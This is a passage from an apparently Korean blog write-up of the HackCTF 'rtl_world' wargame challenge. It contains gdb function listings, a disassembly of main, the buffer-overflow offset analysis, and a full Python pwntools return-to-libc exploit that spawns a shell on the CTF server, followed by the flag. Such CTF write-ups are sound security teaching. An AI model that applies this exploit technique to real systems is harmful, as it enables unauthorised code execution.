  puts("5) Kill the Binary Boss!!!");
  puts("6) Exit");
  return puts("====================================");
}

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048524  _init
0x08048560  read@plt
0x08048570  printf@plt
0x08048580  memcmp@plt
0x08048590  dlclose@plt
0x080485a0  puts@plt
0x080485b0  system@plt
0x080485c0  __gmon_start__@plt
0x080485d0  exit@plt
0x080485e0  __libc_start_main@plt
0x080485f0  dlsym@plt
0x08048600  setvbuf@plt
0x08048610  rand@plt
0x08048620  __isoc99_scanf@plt
0x08048630  dlopen@plt
0x08048640  _start
0x08048670  __x86.get_pc_thunk.bx
0x08048680  deregister_tm_clones
0x080486b0  register_tm_clones
0x080486f0  __do_global_dtors_aux
0x08048710  frame_dummy
0x0804873d  Menu
0x080487a5  Get_Money
0x08048983  main
0x08048c20  __libc_csu_init
0x08048c90  __libc_csu_fini
0x08048c94  _fini
  • main 주소: 0x08048983
  • Get_Money주소: 0x080487a5
  • Menu주소: 0x0804873d

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x08048983 <+0>:	push   ebp
   0x08048984 <+1>:	mov    ebp,esp
   0x08048986 <+3>:	sub    esp,0xa0
   0x0804898c <+9>:	mov    eax,ds:0x804b060
   0x08048991 <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048999 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x080489a1 <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x080489a9 <+38>:	mov    DWORD PTR [esp],eax
   0x080489ac <+41>:	call   0x8048600 <setvbuf@plt>
   0x080489b1 <+46>:	mov    DWORD PTR [ebp-0x8],0x0
   0x080489b8 <+53>:	mov    DWORD PTR [esp+0x4],0x1
   0x080489c0 <+61>:	mov    DWORD PTR [esp],0x8048e8c
   0x080489c7 <+68>:	call   0x8048630 <dlopen@plt>
   0x080489cc <+73>:	mov    DWORD PTR [ebp-0x8],eax
   0x080489cf <+76>:	mov    DWORD PTR [esp+0x4],0x8048eaa
   0x080489d7 <+84>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080489da <+87>:	mov    DWORD PTR [esp],eax
   0x080489dd <+90>:	call   0x80485f0 <dlsym@plt>
   0x080489e2 <+95>:	mov    DWORD PTR [ebp-0xc],eax
   0x080489e5 <+98>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080489e8 <+101>:	mov    DWORD PTR [esp],eax
   0x080489eb <+104>:	call   0x8048590 <dlclose@plt>
   0x080489f0 <+109>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080489f3 <+112>:	mov    DWORD PTR [ebp-0x4],eax
   0x080489f6 <+115>:	jmp    0x80489fc <main+121>
   0x080489f8 <+117>:	add    DWORD PTR [ebp-0x4],0x1
   0x080489fc <+121>:	mov    eax,DWORD PTR [ebp-0x4]
   0x080489ff <+124>:	mov    DWORD PTR [esp+0x8],0x8
   0x08048a07 <+132>:	mov    DWORD PTR [esp+0x4],0x8048eb1
   0x08048a0f <+140>:	mov    DWORD PTR [esp],eax
   0x08048a12 <+143>:	call   0x8048580 <memcmp@plt>
   0x08048a17 <+148>:	test   eax,eax
   0x08048a19 <+150>:	jne    0x80489f8 <main+117>
   0x08048a1b <+152>:	mov    DWORD PTR [esp],0x8048eb9
   0x08048a22 <+159>:	call   0x80485a0 <puts@plt>
   0x08048a27 <+164>:	mov    DWORD PTR [esp],0x8048ed8
   0x08048a2e <+171>:	call   0x80485a0 <puts@plt>
   0x08048a33 <+176>:	mov    DWORD PTR [esp],0x8048f0c
   0x08048a3a <+183>:	call   0x80485a0 <puts@plt>
   0x08048a3f <+188>:	mov    DWORD PTR [esp],0x8048f38
   0x08048a46 <+195>:	call   0x80485a0 <puts@plt>
   0x08048a4b <+200>:	mov    DWORD PTR [esp],0x8048f58
   0x08048a52 <+207>:	call   0x80485a0 <puts@plt>
   0x08048a57 <+212>:	mov    eax,ds:0x804b04c
   0x08048a5c <+217>:	mov    DWORD PTR [esp+0x4],eax
   0x08048a60 <+221>:	mov    DWORD PTR [esp],0x8048f74
   0x08048a67 <+228>:	call   0x8048570 <printf@plt>
   0x08048a6c <+233>:	jmp    0x8048a6f <main+236>
   0x08048a6e <+235>:	nop
   0x08048a6f <+236>:	call   0x804873d <Menu>
   0x08048a74 <+241>:	mov    DWORD PTR [esp],0x8048f84
   0x08048a7b <+248>:	call   0x8048570 <printf@plt>
   0x08048a80 <+253>:	lea    eax,[ebp-0x90]
   0x08048a86 <+259>:	mov    DWORD PTR [esp+0x4],eax
   0x08048a8a <+263>:	mov    DWORD PTR [esp],0x8048dd9
   0x08048a91 <+270>:	call   0x8048620 <__isoc99_scanf@plt>
   0x08048a96 <+275>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048a9c <+281>:	cmp    eax,0x6
   0x08048a9f <+284>:	ja     0x8048a6e <main+235>
   0x08048aa1 <+286>:	mov    eax,DWORD PTR [eax*4+0x80490cc]
   0x08048aa8 <+293>:	jmp    eax
   0x08048aaa <+295>:	mov    DWORD PTR [esp],0x8048f89
   0x08048ab1 <+302>:	call   0x80485b0 <system@plt>
   0x08048ab6 <+307>:	mov    DWORD PTR [esp],0x8048f8f
   0x08048abd <+314>:	call   0x80485a0 <puts@plt>
   0x08048ac2 <+319>:	mov    DWORD PTR [esp],0x8048f9e
   0x08048ac9 <+326>:	call   0x80485a0 <puts@plt>
   0x08048ace <+331>:	mov    DWORD PTR [esp],0x8048fb7
   0x08048ad5 <+338>:	call   0x80485a0 <puts@plt>
   0x08048ada <+343>:	mov    DWORD PTR [esp],0x8048fcf
   0x08048ae1 <+350>:	call   0x80485a0 <puts@plt>
   0x08048ae6 <+355>:	mov    DWORD PTR [esp],0x8048fe9
   0x08048aed <+362>:	call   0x80485a0 <puts@plt>
   0x08048af2 <+367>:	mov    DWORD PTR [esp],0x8048ffe
   0x08048af9 <+374>:	call   0x80485a0 <puts@plt>
   0x08048afe <+379>:	mov    DWORD PTR [esp],0x804901b
   0x08048b05 <+386>:	call   0x80485a0 <puts@plt>
   0x08048b0a <+391>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048b0d <+394>:	mov    DWORD PTR [esp+0x4],eax
   0x08048b11 <+398>:	mov    DWORD PTR [esp],0x8049029
   0x08048b18 <+405>:	call   0x8048570 <printf@plt>
   0x08048b1d <+410>:	mov    DWORD PTR [esp],0x8049044
   0x08048b24 <+417>:	call   0x80485a0 <puts@plt>
   0x08048b29 <+422>:	jmp    0x8048c0b <main+648>
   0x08048b2e <+427>:	mov    eax,ds:0x804b04c
   0x08048b33 <+432>:	mov    DWORD PTR [esp],eax
   0x08048b36 <+435>:	call   0x80487a5 <Get_Money>
   0x08048b3b <+440>:	jmp    0x8048c0b <main+648>
   0x08048b40 <+445>:	mov    eax,ds:0x804b04c
   0x08048b45 <+450>:	cmp    eax,0x7cf
   0x08048b4a <+455>:	jle    0x8048b73 <main+496>
   0x08048b4c <+457>:	mov    eax,ds:0x804b04c
   0x08048b51 <+462>:	sub    eax,0x7cf
   0x08048b56 <+467>:	mov    ds:0x804b04c,eax
   0x08048b5b <+472>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048b5e <+475>:	mov    DWORD PTR [esp+0x4],eax
   0x08048b62 <+479>:	mov    DWORD PTR [esp],0x8049067
   0x08048b69 <+486>:	call   0x8048570 <printf@plt>
   0x08048b6e <+491>:	jmp    0x8048c0b <main+648>
   0x08048b73 <+496>:	mov    DWORD PTR [esp],0x804907a
   0x08048b7a <+503>:	call   0x80485a0 <puts@plt>
   0x08048b7f <+508>:	jmp    0x8048c0b <main+648>
   0x08048b84 <+513>:	mov    eax,ds:0x804b04c
   0x08048b89 <+518>:	cmp    eax,0xbb7
   0x08048b8e <+523>:	jle    0x8048bb4 <main+561>
   0x08048b90 <+525>:	mov    eax,ds:0x804b04c
   0x08048b95 <+530>:	sub    eax,0xbb7
   0x08048b9a <+535>:	mov    ds:0x804b04c,eax
   0x08048b9f <+540>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048ba2 <+543>:	mov    DWORD PTR [esp+0x4],eax
   0x08048ba6 <+547>:	mov    DWORD PTR [esp],0x8049094
   0x08048bad <+554>:	call   0x8048570 <printf@plt>
   0x08048bb2 <+559>:	jmp    0x8048c0b <main+648>
   0x08048bb4 <+561>:	mov    DWORD PTR [esp],0x804907a
   0x08048bbb <+568>:	call   0x80485a0 <puts@plt>
   0x08048bc0 <+573>:	jmp    0x8048c0b <main+648>
   0x08048bc2 <+575>:	mov    DWORD PTR [esp],0x80490a6
   0x08048bc9 <+582>:	call   0x8048570 <printf@plt>
   0x08048bce <+587>:	mov    DWORD PTR [esp+0x8],0x400
   0x08048bd6 <+595>:	lea    eax,[ebp-0x8c]
   0x08048bdc <+601>:	mov    DWORD PTR [esp+0x4],eax
   0x08048be0 <+605>:	mov    DWORD PTR [esp],0x0
   0x08048be7 <+612>:	call   0x8048560 <read@plt>
=> 0x08048bec <+617>:	mov    eax,0x0
   0x08048bf1 <+622>:	jmp    0x8048c10 <main+653>
   0x08048bf3 <+624>:	mov    DWORD PTR [esp],0x80490b2
   0x08048bfa <+631>:	call   0x80485a0 <puts@plt>
   0x08048bff <+636>:	mov    DWORD PTR [esp],0x0
   0x08048c06 <+643>:	call   0x80485d0 <exit@plt>
   0x08048c0b <+648>:	jmp    0x8048a6e <main+235>
   0x08048c10 <+653>:	leave  
   0x08048c11 <+654>:	ret    
End of assembler dump.
  • 사용자의 입력은 $ebp-0x8c에 저장
  • main+270에 bp 걸어 5(attack) 입력
  • attack에서 사용자의 입력은 0xffffcfcc에 저장

  • 0xffffd05c에서 __libc_start_main+231 확인
  • 사용자의 입력~0xffffd05c까지의 offset = 144(0x90)

 

문제 해결

  • system(”/bin/sh”)를 실행해야 하는 ROP 기법 적용
  • 4번 hidden number를 이용해 gold 획득
  • 즉석으로 boss 주소와 binsh, system 주소 획득하여 exploit 시도
💡 dummy(144) + binsh + dummy + system 

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3010)
e = ELF("./rtl_world")

#make money
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('>>> ')

#system
p.sendline('3')
p.recvuntil(' : ')
system = int(p.recv(10), 16)
log.info("system: "+ hex(system))

#binsh
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil(' : ')
binsh = int(p.recv(10), 16)
log.info("binsh: "+ hex(binsh))

#payload
payload = "a"*144
payload += p32(system)
payload += "b" *4
payload += p32(binsh)

p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('> ')
p.sendline(payload)

p.interactive()


flag

🍒  HackCTF{17_w45_4_6r347_r7l_w0rld}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30
[HackCTF] 1996  (0) 2022.10.30

+ Recent posts